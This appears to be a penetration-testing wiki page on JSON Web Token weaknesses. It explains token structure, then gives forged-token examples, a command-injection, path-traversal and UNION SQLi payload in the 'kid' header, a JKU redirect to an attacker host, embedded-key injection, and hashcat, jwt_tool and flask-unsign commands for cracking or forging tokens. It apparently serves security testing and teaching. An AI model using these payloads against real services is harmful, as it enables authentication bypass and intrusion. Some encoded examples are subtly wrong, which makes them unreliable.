JWT

Introduction

JSON Web Token (JWT) is an open standard for securely transmitting information between parties as a JSON object. In order to ensure the integrity and authenticity of the data, this is being signed using a secret (HMAC algorithm) or public/private keys (RSA or ECDSA).

There are two main different types of JWT.

Normal JWT

It is composed of three parts, encoded on base64, separated by a dot:

  • Header: Specifies the algorithm and the type of JWT being used,.

  • Payload: JSON data that wants to be transmitted.

  • Signature: The result of applying base64url encoding to the header, dot, and payload, and then signing the whole thing using a secret or a private key.

Encoded JWT.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik1hcm1ldXMiLCJpYXQiOjE1MTYyMzkwMjJ9.JRGkgRg-LNfPIizd0il-HU9JFytJYTUnGFfCFblssdU

Decoded JWT.

# Header
{
  "alg": "HS256",
  "typ": "JWT"
}
# Payload
{
  "sub": "1234567890",
  "name": "Marmeus",
  "iat": 1516239022
}
# SIGNATURE
<ALGORITHM>( base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET | PRIVATE KEY>) 

Weaknesses

Signature verification

It might be the case where developers do not really verify the signature of the token, so any changes made to the JWT will be accepted by the application. Hence, try to change values on the payload section to check if the application accepts them.

None algorithm (CVE-2015-9235)

Of the many types of algorithms accepted by the JWT standard, the None algorithm stands out because specifies that the token is not signed. Therefore, using this type of algorithm might allow you to bypass the checking signature. As a result the JWT would look like this.

# Header
{
  "alg": "None",
  "typ": "JWT"
}
# Payload
{
  "sub": "1234567890",
  "name": "Marmeus",
  "iat": 1516239022
}

eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.

None signature

Remove the signature from the end of the token in case the application does not check it, bypassing the authentication.

eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.

Algorithm confusion (CVE-2016-5431)

Some libraries do not check whether the received token is signed using the application's expected algorithm.

As an example, if an application uses the RSA algorithm, the private key will be used for signing and the public key for verifying, so changing the algorithm to HMAC the public key can be used for signing and verifying.

Weak secrets

For symmetric algorithms, if the secret can be brute-forced, new tokens can be crafted.

hashcat -a 0 -m 16500 <jwt> <wordlist>

Kid parameter injections

The Key Id parameter or kid is often used to retrieve the key from a database or file system in order to sign the payload. If the parameter is vulnerable, it can lead to signature bypass, RCE, SQLi and LFI.

RCE

If the kid parameter is vulnerable to command injection, the following modification might lead to remote code execution:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1|/usr/bin/uname"
}

Path traversal

If the kid parameter is used to retrieve the key from the filesystem, it might be vulnerable to path traversal. If so, the attacker can change the value for any static file within the application. Knowing the key file value, the attacker can craft a malicious token and sign it using the known key.

{
    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
    "k": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49"
}

UNION SQLi

If the key is retrieved from a database, it might be vulnerable to SQLi, if so you can try UNION SQLi to retrieve a predicted value for the signature key.

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "xxxx' UNION SELECT 'aaa"
}

JKU parameter

The JSON Web Key Set URL o jwu is used to specify where the application can find the JSON web key (JWK) used to verify the signature.

If you are capable of changing the JWU value in order to point to your own JWK instead, where the public key is stored. You could sign the JWT with your private key, which will later be checked with your public key.

This can be achieved with any of the following techniques:

  • If the application checks the prefix of the URL, modify the URL like https://example.com@attacker.com/,

  • Using URL fragments with the # character

  • Using the DNS naming hierarchy

  • Chaining with an open redirect

  • Chaining with a header Injection

  • Chaining with SSRF

Then, inside the attacker's server, the file key.json (Can be generated with JWT Edit keys) should look like this:

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49",
            "n": "q4As7xzYiAAlED4vW_5SYGTZYHdKwZ8uxNvVt5fJKTtVAqSEKsap9CkNfAjmNVT7UGDBACABZfWLvl-3taBQa7-"
        }
    ]
}

JWKS Injection (CVE-2018-0114)

The jwk header parameter is used to embed a public key directly within the JWT.

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

This can be achieved using the Burp Suite extension JWT Editor.

  1. With the extension loaded, in Burp's main tab bar, go to the JWT Editor Keys tab.

  2. Send a request containing a JWT to Burp Repeater.

  3. In the message editor, switch to the extension-generated JSON Web Token tab and modify the token's payload however you like.

  4. Click Attack, then select Embedded JWK. When prompted, select your newly generated RSA key.

  5. Send the request to test how the server responds.

Tools

There are several tools in order to play with JW tokens. Here are the most used.

Online

  • jwt.io (Online): Decode and encode JWT tokens

  • token.dev (Online): Same as before but allows more types of algorithms.

  • mkjwk.org (Online): Web page to generate JWT keys.

Offline

JWT Tool

jwt_tool checks for vulnerabilities, scan for weaknesses, cracks JWTs, forge tokens, etc.

  • Cracking the secret:

python3 jwt_tool.py <JWT> -C -d <WORDLIST.TXT>
  • None Algorithm:

python3 jwt_tool.py <JWT> -X a
  • RSA Algorithm confusion

python3 jwt_tool.py <JWT> -X k -pk <PUBLIC.pem>
  • None signature

python3 jwt_tool.py <JWT> -X n
  • JWKS Injection (The private key will be generated at /home/kali/.jwt_tool/ )

python3 jwt_tool.py <JWT> -X i
  • JWKS Spoofing: Changes the JKU to a foreign web page with the public key.

python3 jwt_tool.py <JWT> -X s

JWT Editor

JWT Editor is a Burp Suite extension and standalone application for editing, signing, verifying, encrypting and decrypting JSON Web Tokens (JWTs).

Flask JWT

Flask JSON Web Tokens have a similar structure as a normal JWT but it differs in their content.

As a JWT is composed of three main parts separated by a dot:

  • Payload: JSON data that wants to be transmitted.

  • Timestamp: Encoded timestamp.

  • Signature: The result of the HMAC operation as in the normal JWT.

eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A

Decoding the data would look something like this.

# Payload
{
  "logged_in": true,
  "username": "Marmeus"
}
# Timestamp
"b}E\u001e"
# Signature
HMAC(base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET>)

Tools

Flask-unsing

Flask-unsing: Fetch, decode, brute-force and craft session cookies of a Flask application.

  • Cracking the secret:

flask-unsign --unsign --no-literal-eval --cookie "<JWT>" -w <WORDLIST.TXT>

References

Last updated